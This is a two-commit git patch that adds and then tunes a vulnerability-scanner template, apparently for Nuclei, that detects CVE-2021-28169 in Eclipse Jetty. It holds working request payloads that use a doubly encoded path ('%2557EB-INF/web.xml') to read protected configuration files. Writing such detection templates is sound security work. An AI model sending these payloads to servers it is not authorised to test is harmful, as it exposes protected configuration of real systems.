From b97d012636f690e0432fdef0ef9f915c39cead86 Mon Sep 17 00:00:00 2001
From: PikPikcU <60111811+pikpikcu@users.noreply.github.com>
Date: Thu, 24 Jun 2021 16:00:02 +0000
Subject: [PATCH 1/2] Create CVE-2021-28169.yaml

---
 cves/2021/CVE-2021-28169.yaml | 36 +++++++++++++++++++++++++++++++++++
 1 file changed, 36 insertions(+)
 create mode 100644 cves/2021/CVE-2021-28169.yaml

diff --git a/cves/2021/CVE-2021-28169.yaml b/cves/2021/CVE-2021-28169.yaml
new file mode 100644
index 0000000000..9e4a64199a
--- /dev/null
+++ b/cves/2021/CVE-2021-28169.yaml
@@ -0,0 +1,36 @@
+id: CVE-2021-28169
+
+info:
+  name: Jetty Utility Servlets Information Disclosure
+  author: pikpikcu
+  severity: info
+  reference: |
+    - https://twitter.com/sec715/status/1406787963569065988
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-28169
+  description: |
+    For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.
+  tags: cve,cve2021,jetty
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static?/%2557EB-INF/web.xml"
+      - "{{BaseURL}}/concat?/%2557EB-INF/web.xml"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Content-Type: application/xml"
+        part: header
+
+      - type: word
+        words:
+          - "<servlet-name>"
+          - "<servlet-class>"
+        part: body
+
+      - type: status
+        status:
+          - 200

From a736120dc0f5c3de48228a134f619dfad7c1c7fe Mon Sep 17 00:00:00 2001
From: sandeep <8293321+ehsandeep@users.noreply.github.com>
Date: Fri, 25 Jun 2021 00:02:05 +0530
Subject: [PATCH 2/2] minor updates

---
 cves/2021/CVE-2021-28169.yaml | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/cves/2021/CVE-2021-28169.yaml b/cves/2021/CVE-2021-28169.yaml
index 9e4a64199a..23375aa842 100644
--- a/cves/2021/CVE-2021-28169.yaml
+++ b/cves/2021/CVE-2021-28169.yaml
@@ -22,14 +22,15 @@ requests:
 
       - type: word
         words:
-          - "Content-Type: application/xml"
+          - "application/xml"
         part: header
 
       - type: word
         words:
-          - "<servlet-name>"
-          - "<servlet-class>"
+          - "<web-app>"
+          - "java.sun.com"
         part: body
+        condition: and
 
       - type: status
         status: